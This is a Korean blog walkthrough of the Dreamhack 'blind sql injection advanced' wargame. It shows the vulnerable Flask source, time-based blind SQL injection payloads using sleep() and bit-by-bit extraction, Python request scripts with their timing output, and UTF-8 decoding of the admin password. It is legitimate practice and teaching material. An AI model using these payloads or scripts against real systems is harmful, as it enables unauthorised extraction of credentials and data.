문제풀이/웹해킹

(dreamhack) blind sql injection advanced 문제풀이

Goblebin 2023. 2. 8. 21:08
반응형

드림핵 페이지에서는 함께하기로 같이 풀 수 있지만 혼자서 풀어보려고 글을 쓴다.

지금까지 혼자서 풀어본 문제는 적기 때문에 오늘 하루 도서관에서 집에 가기 전까지는 스스로 풀어보려고 노력해보겠다.

 

문제 출처는 https://dreamhack.io/wargame/challenges/411/

 

blind sql injection advanced

Description Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다. 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.

dreamhack.io


첫 접속 화면

웹에 처음 접속하면 이 페이지이다. 먼저 기본적으로 admin';을 입력하면

admin이 존재한다는 문구만 나온다. 어떤 방식으로 접근해야할지 고민하다가 일단 웹 서버가 구동되고 있는 파이썬 코드를 살펴보기로 했다.

 

코드

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

눈에 띄는 거라고는 

nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

return render_template_string(template, uid=uid, nrows=nrows)

이 두문장 밖에 없는 것 같다. 어느 부분이 취약한지는 잘 모르겠으니 일단 생각나는 취약점을 다 넣어보기로 했다.

여러 시행 착오 중에

admin' UNION SELECT * FROM users WHERE IF(1=1, sleep(2), 0);

sleep함수를 통해 웹 페이지 반환시간을 이용하면 플래그를 알아 낼 수 있을 것 같았다.

플래그에는 한글도 포함되어 있다고 하니... 문자열은 유니코드로 되어 있지 않을까 싶다... 벌써 막막하다.

유니코드라면 substr을 이용해 문자열을 받아 문자를 비교할 순 없고. BIT연산을 이용하기로 했다.

그렇게 완성된 코드가

admin' UNION SELECT * FROM users WHERE 
IF(substr(bin(ord((SELECT upw FROM users WHERE uid='admin'))),1,1)=0, sleep(2), 0);

이것이다. 일일이 하기에는 너무 오래 걸릴 것같아서 파이썬의 requests모듈의 r.elapsed을 이용하여 웹페이지 반환 시간을 이용해 bit를 하나씩 알아내기로 했다.

 

 

처음 실험적으로 만든 파이썬코드이다.

 

 

 

 

더보기
import requests
import sys

port = sys.argv[1]
chall_url = f'http://host3.dreamhack.games:{port}'
buf = ''
for pos in range(1, 512):
    query = f'admin\' UNION SELECT * FROM users WHERE IF(substr(bin(ord((SELECT upw FROM users WHERE uid=\'admin\'))),{pos},1)=1, sleep(2), 0);'
    res = requests.get(f'{chall_url}/?uid={query}')
    print(res.elapsed)

 

 

 

 

ord()명령어는 문자열이 아닌 문자를 받아서 ord((SELECT upw FROM users WHERE uid='admin')) 이부분에서 upw의 첫 바이트만 숫자로 변환한다. 따라서 첫번째 바이트의 비트만 알 수 있다. 코드를 조금 보완해서

for pos2 in range(1,8)

    ord(substr((SELECT upw FROM users WHERE uid='admin'),{pos2},1))로 바꾸어 줘야겠다.

근데 한글을 어떻게 해결하나 싶다. 일단 코딩 해보고 보자.

 

코딩 후 실행했더니 원하는 대로 나왔다.

 

 

 

 

더보기
import requests
import sys

port = sys.argv[1]
chall_url = f'http://host3.dreamhack.games:{port}'
buf = ''
for pos2 in range(1, 50):
    print(f'{pos2}번째')
    for pos in range(1, 8):
        query = f'admin\' UNION SELECT * FROM users WHERE IF(substr(bin(ord(substr((SELECT upw FROM users WHERE uid=\'admin\'),{pos2},1))),{pos},1)=1, sleep(2), 0);'
        res = requests.get(f'{chall_url}/?uid={query}')
        print(res.elapsed)

실행결과

 

 

 

 

이제 시간을 이용해서 구해보려고 했는데 내 능력범위 밖이다. 노가다하련다.

코드를 조금 더 수정해서 결과값을 얻었고 그 결과값을 유니코드로 바꿔 보겠다.

 

 

 

 

더보기

실행했던 코드이다.

import requests
import sys

port = sys.argv[1]
chall_url = f'http://host3.dreamhack.games:{port}'
buf = ''
for pos in range(1, 50):
    print(f'{pos}번째')
    for pos2 in range(1, 17):
        query = f'admin\' UNION SELECT * FROM users WHERE IF(substr(bin(ord(substr((SELECT upw FROM users WHERE uid=\'admin\'),{pos},1))),{pos2},1)=1, sleep(0.4), 0);'
        res = requests.get(f'{chall_url}/?uid={query}')
        print(res.elapsed)

 

실행결과이다.

 

1번째
0:00:01.333110
0:00:00.097051
0:00:00.094366
0:00:00.094410
0:00:01.335390
0:00:00.095548
0:00:00.100036
0:00:00.100631
0:00:00.093219
0:00:00.094503
0:00:00.100139
0:00:00.094027
0:00:00.101407
0:00:00.100176
0:00:00.093380
0:00:00.099062
2번째
0:00:01.312411
0:00:00.101477
0:00:00.107033
0:00:01.310224
0:00:00.094778
0:00:00.096923
0:00:00.089718
0:00:00.098044
0:00:00.094906
0:00:00.096978
0:00:00.098044
0:00:00.095680
0:00:00.094038
0:00:00.097959
0:00:00.099813
0:00:00.092526
3번째
0:00:01.332136
0:00:01.322826
0:00:01.326990
0:00:01.324794
0:00:00.100323
0:00:01.320653
0:00:01.327287
0:00:00.101337
0:00:00.105304
0:00:00.097052
0:00:00.101911
0:00:00.096777
0:00:00.098585
0:00:00.099757
0:00:00.094376
0:00:00.093101
4번째
0:00:01.409215
0:00:01.295716
0:00:01.353823
0:00:00.095703
0:00:01.328224
0:00:01.325006
0:00:00.095168
0:00:00.101271
0:00:01.321397
0:00:00.098991
0:00:00.091084
0:00:01.327088
0:00:01.325004
0:00:01.324896
0:00:00.130153
0:00:01.393325
5번째
0:00:01.323506
0:00:01.325122
0:00:01.324486
0:00:00.099710
0:00:01.317961
0:00:00.099189
0:00:01.327838
0:00:00.098806
0:00:01.321487
0:00:00.088783
0:00:01.331973
0:00:01.329261
0:00:00.105777
0:00:00.093391
0:00:01.322356
0:00:00.090913
6번째
0:00:01.330820
0:00:01.327097
0:00:01.323899
0:00:00.091824
0:00:01.330903
0:00:01.326221
0:00:00.095439
0:00:00.098650
0:00:01.326293
0:00:00.130670
0:00:00.101093
0:00:01.388010
0:00:01.326551
0:00:01.303546
0:00:00.103770
0:00:01.347968
7번째
0:00:01.326767
0:00:01.325455
0:00:01.328243
0:00:00.099960
0:00:01.329106
0:00:00.091191
0:00:01.322054
0:00:01.342260
0:00:01.329150
0:00:00.122731
0:00:01.402517
0:00:01.325221
0:00:01.326199
0:00:00.086406
0:00:00.089884
0:00:01.340406
8번째
0:00:01.323473
0:00:01.325951
0:00:01.326973
0:00:00.092080
0:00:01.329586
0:00:00.093008
0:00:01.329579
0:00:01.322743
0:00:01.328518
0:00:00.153961
0:00:01.366199
0:00:01.323898
0:00:00.093572
0:00:00.099178
0:00:00.098969
0:00:00.101071
9번째
0:00:01.408009
0:00:01.324557
0:00:01.328140
0:00:00.100864
0:00:01.312686
0:00:00.097283
0:00:01.325130
0:00:01.323986
0:00:01.329368
0:00:00.107112
0:00:01.314386
0:00:01.327802
0:00:00.109973
0:00:00.100243
0:00:01.308171
0:00:00.094820
10번째
0:00:01.324417
0:00:01.326961
0:00:01.327150
0:00:00.091005
0:00:01.332059
0:00:01.324533
0:00:00.089976
0:00:01.336259
0:00:01.325440
0:00:00.096025
0:00:00.096431
0:00:01.332009
0:00:01.325048
0:00:00.090779
0:00:00.093728
0:00:00.112106
11번째
0:00:01.316343
0:00:00.124732
0:00:00.093934
0:00:00.090983
0:00:00.100557
0:00:01.404070
0:00:00.097060
0:00:00.091660
0:00:00.098165
0:00:00.096904
0:00:00.102856
0:00:00.101632
0:00:00.100574
0:00:00.099553
0:00:00.096107
0:00:00.103334
12번째
0:00:01.375485
0:00:01.300899
0:00:01.294866
0:00:01.373306
0:00:01.325564
0:00:02.346465
0:00:00.091580
0:00:00.098337
0:00:00.097479
0:00:00.098784
0:00:00.097730
0:00:00.102075
0:00:00.093322
0:00:00.095729
0:00:00.095781
0:00:00.097250
13번째
0:00:01.317191
0:00:01.427157
0:00:01.327926
0:00:01.323359
0:00:01.328167
0:00:00.098728
0:00:01.322207
0:00:00.090317
0:00:00.103629
0:00:00.095723
0:00:00.091663
0:00:00.087332
0:00:00.100368
0:00:00.093307
0:00:00.100821
0:00:00.099289
14번째
0:00:00.098824
0:00:00.098169
0:00:00.093181
0:00:00.096320
0:00:00.095444
0:00:00.095963
0:00:00.107077
0:00:00.085388
0:00:00.090372
0:00:00.099763
0:00:00.149403
0:00:00.102003
0:00:00.098232
0:00:00.089828
0:00:00.099514
0:00:00.100684
15번째
0:00:00.097498
0:00:00.095591
0:00:00.106048
0:00:00.101512
0:00:00.099102
0:00:00.097740
0:00:00.100647
0:00:00.096440
0:00:00.099035
0:00:00.097520
0:00:00.096554
0:00:00.105829
0:00:00.096856
0:00:00.096857
0:00:00.109353
0:00:00.092945

 

총 13자리 이고 4~10번째자리는 한글인것 같다.

처음은 DH(이고 끝은 )이므로 4번째부터 12번째까지만 찾으면 된다.

어딘가 많이 잘못됐다. 중국어가 나온다...ㅋㅋㅋ 1번째 X, 2번째 Y, 3번째 ? 애초부터 잘못됐다

어디서 잘못됐는지 다시 생각해보자.

 

 

 

 

드림핵 질문에서 힌트를 얻은 듯하다. UTF-8에서는 한글이 3바이트라고 한다. 즉 24비트이므로 비트가 덜 구해진 것으로 보인다.

 

 

 

 

1. 1000 1000 0000 0000 0000 0000
2. 1001 0000 0000 0000 0000 0000
3. 1111 0110 0000 0000 0000 0000
4. 1110 1100 1001 1101 1011 0100 EC9DB4 
5. 1110 1010 1011 0010 1000 0011 EAB283 
6. 1110 1100 1001 1101 1011 0100 EC9DB4
7. 1110 1011 1011 1001 1000 0100 EBB984
8. 1110 1011 1011 0000 1000 0000 EBB080
9. 1110 1011 1011 0010 1000 1000 EBB288
10. 1110 1101 1001 1000 1011 1000 ED98B8
11. 1000 0100 0000 0000 0000 0000
12. 1111 1100 0000 0000 0000 0000
13. 1111 1010 0000 0000 0000 0000

 

 

 

 

위 3자리 아래 3자리를 제외하고 나머지 글자는 utf-8 변환을 통해 알아냈다. 나머지는 모르겠다.

나머지 글자는 아스키 코드였다. 즉 7비트만 보면 되므로 쉽게 구할수 있다...

마지막까지 드림핵에 있는 질문을 통해 정답을 알아버렸다. 혼자만의 힘으로 풀고 싶었는데 좀 아쉽다.

반응형